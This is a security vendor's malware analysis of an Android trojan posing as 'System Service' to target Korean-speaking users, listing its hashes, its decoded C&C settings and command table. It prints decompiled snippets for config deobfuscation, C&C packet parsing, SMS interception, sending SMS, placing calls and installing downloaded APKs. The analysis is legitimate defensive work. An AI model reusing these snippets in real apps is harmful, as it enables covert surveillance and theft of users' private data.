January 2, 2018

Trojan Utilizes Customized Communication Packets to Target Korean Speaking Users

Trojan Utilizes Customized Communication Packets to Target Korean Speaking Users

Trustlook labs has discovered a Trojan which targets Korean speaking  mobile users. The Trojan collects user data, including contacts, call  logs, and SMS history. It also records audio, takes pictures, makes  phone call, and sends SMS messages.

The Trojan disguises itself as a system app named “System Service,”  and demands device administrator rights. This prevents it from being  removed. The malware also removes its icon from the launcher menu to  further mask itself.

The package can be identified as having the following characteristics:

  • MD5: b737d915ca36edbb24cb844ebfb621d9
  • SHA256: 734fb5812af358bc4d5a5d70e7c3c0321b9b16f8832d24b096393474bc9c3f8b
  • Size: 525055 bytes
  • App name: System Service
  • Package name: com.google.service

The package icon is:

image1

Upon execution, the app persuades the user to enable Device Administrator Access in order to maintain its persistence on the system:

image2

The message on the screen is in Korean. Translated into English it says: “Encrypted data transfer, your personal information can be protected.” The app targets Korean speaking users, and more specifically, mobile  users in South Korea. Once the user clicks “Activate,” the app removes  its icon from the launcher to hide itself. If the user attempts to  disable the Device Administrator, the app will keep popping up the above  window to force the user to re-enable it.

The app stores its C&C server IP port in a file “config.db” in the assets folder. It appears as follows: LCXwKS@0KS@sMSLeLCf2MA73MSDuLSL<

The app uses the following code snippets to decode the string:

    public boolean readConfig() {
[…]
        try {
            BufferedReader br = new BufferedReader(new InputStreamReader(getAssets().open("config.db")));
            try {
                int i;
                StringBuilder sb = new StringBuilder();
                while (true) {
                    String line = br.readLine();
                    if (line == null) {
                        break;
                    }
                    sb.append(line);
                }
                String config = sb.toString();
[…]
                byte[] buf = config.getBytes();
                byte[] buf1 = new byte[buf.length];
                for (i = 0; i < buf.length; i++) {
                    buf1[i] = (byte) (buf[i] + 1);
                }
                byte[] buf2 = Base64.decode(buf1, 0);
                byte[] buf3 = new byte[buf2.length];
                for (i = 0; i < buf2.length; i++) {
                    buf3[i] = (byte) (buf2[i] + 1);
                }
                config = new String(buf3, "utf-8");
[…]
                String[] data = config.split(" ");
                this.host = data[0];
                this.port = Integer.parseInt(data[1]);
                this.password = data[2];
                result = true;
[…]
}

The data in the config.db file above is decoded into the following  string, which includes the C&C IP address, port and password used to  encrypt the data:

172.16.1.64!1985!962024

The app uses customized packets to communicate with the C&C  server in order to avoid network detection. It processes four packets:

  • CommandPacket: These packets are used to store the command received from the server.
  • TransportPacket: These packets contain the data, data length, and  sequence number, which are the main data exchange protocols between the  app and the C&C server.
  • LogPacket: The app logs actions and uses these packets to send the log file.
  • PreferencePacket: These packets are mainly used to update the configuration between the app and the C&C server.

The following code snippets are used to process the CommandPacket:

    public CommandPacket(short cmd, int targetChannel, byte[] arg) {
        this.commande = cmd;
        this.argument = arg;
        this.targetChannel = targetChannel;
    }

    public void parse(byte[] packet) {
        ByteBuffer b = ByteBuffer.wrap(packet);
        this.commande = b.getShort();
        this.targetChannel = b.getInt();
        this.argument = new byte[b.remaining()];
        b.get(this.argument, 0, b.remaining());
    }

    public void parse(ByteBuffer b) {
        this.commande = b.getShort();
        this.targetChannel = b.getInt();
        this.argument = new byte[b.remaining()];
        b.get(this.argument, 0, b.remaining());
    }

    public byte[] build() {
        byte[] byteCmd = ByteBuffer.allocate(2).putShort(this.commande).array();
        byte[] byteTargChan = ByteBuffer.allocate(4).putInt(this.targetChannel).array();
        byte[] cmdToSend = new byte[((byteCmd.length + byteTargChan.length) + this.argument.length)];
        System.arraycopy(byteCmd, 0, cmdToSend, 0, byteCmd.length);
        System.arraycopy(byteTargChan, 0, cmdToSend, byteCmd.length, byteTargChan.length);
        System.arraycopy(this.argument, 0, cmdToSend, byteCmd.length + byteTargChan.length, this.argument.length);
        return cmdToSend;
}

The following is the struct of CommandPacket:

struct CommandPacket 
{
    short command;
    byte[] argument;
    int channel;
} ;

The app supports the following commands:

Command     description
————————————————
109                 ; display a message window

110                 ; monitor SMS

112                 ; get contacts

113                 ; get SMS message

114                 ; list file/directory

115                 ; send file

116                 ; make call

117                 ; send SMS

119                 ; stop SMS monitoring

121                 ; get device information

122                 ; open an URL in a browser

123                 ; vibrate

124                 ; download file

125                 ; install an APK

The following code snippets are used to monitor the SMS message:

 [...]
   public SMSMonitor(MainService service, int channel, byte[] data) {
        this.ctx = service;
        this.channel = channel;
        this.numbersAndKeywords = EncoderHelper.decodeHashMap(data);
        this.numberList = new ArrayList();
        this.keywordList = new ArrayList();
        String keyword = (String) this.numbersAndKeywords.get("keyword");
        try {
            String[] phoneArray = ((String) this.numbersAndKeywords.get("phone")).split(";");
            for (Object add : phoneArray) {
                this.numberList.add(add);
            }
            String[] keywordArray = keyword.split(";");
            for (Object add2 : keywordArray) {
                this.keywordList.add(add2);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        IntentFilter intentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
        intentFilter.setPriority(Integer.MAX_VALUE);
        this.ctx.registerReceiver(this.SMSreceiver, intentFilter);
}

The malware collects device information by using the following code snippets:

public class DeviceInfo {
    int channel;
    MainService ctx;
    DeviceInformationPacket p = new DeviceInformationPacket();
[…]
    private void battryInfo(Intent intent) {
        int i = intent.getIntExtra("health", 0);
        int j = intent.getIntExtra("level", 0);
        int k = intent.getIntExtra("plugged", 0);
        boolean bool = intent.getExtras().getBoolean("present");
        int m = intent.getIntExtra("scale", 0);
        […]
        

    public void sensorsInfo() {
        List<Sensor> sensors = ((SensorManager) this.ctx.getSystemService("sensor")).getSensorList(-1);
        ArrayList<String> list = new ArrayList();
        for (Sensor name : sensors) {
            list.add(name.getName());
        }
        this.p.setSensors(list);
    }
} 

The following code snippets are used to send SMS message:

HashMap<String, String> map = EncoderHelper.decodeHashMap(byteBuffer.array());
                String number = (String) map.get(Protocol.KEY_SEND_SMS_NUMBER);
                String body = (String) map.get(Protocol.KEY_SEND_SMS_BODY);
                if (body.getBytes().length < 167) {
                    SmsManager.getDefault().sendTextMessage(number, null, body, null, null);
                } else {
                    SmsManager.getDefault().sendMultipartTextMessage(number, null, MessageDecoupator(body), null, null);
                }

The following code snippets are responsible for making phone calls:

               Intent intent = new Intent("android.intent.action.CALL", Uri.parse("tel:" + new String(byteBuffer.array())));
                    intent.setFlags(268435456);
                    this.service.startActivity(intent);

The app uses the code below to install the downloaded APK:

public class ApkInstaller {
    private MainService service;

    public ApkInstaller(MainService service, int channel) {
        this.service = service;
    }

    public void hideInstall(String apkAbsolutePath) {
    }

    public void installApk(String apkPath) {
        normalInstall(apkPath);
    }

    public void normalInstall(String apkPath) {
        Intent intent = new Intent("android.intent.action.VIEW");
        intent.setFlags(268435456);
        intent.setDataAndType(Uri.fromFile(new File(apkPath)), "application/vnd.android.package-archive");
        this.service.startActivity(intent);
    }
}

Summary
The Trojan uses customized communication packets to avoid  network detection. It allows the attacker to take full control of the  device in order to steal data, monitor usage, and perform other actions  that violate a user’s privacy. Trustlook’s anti-threat platform can  effectively protect users against this invasion.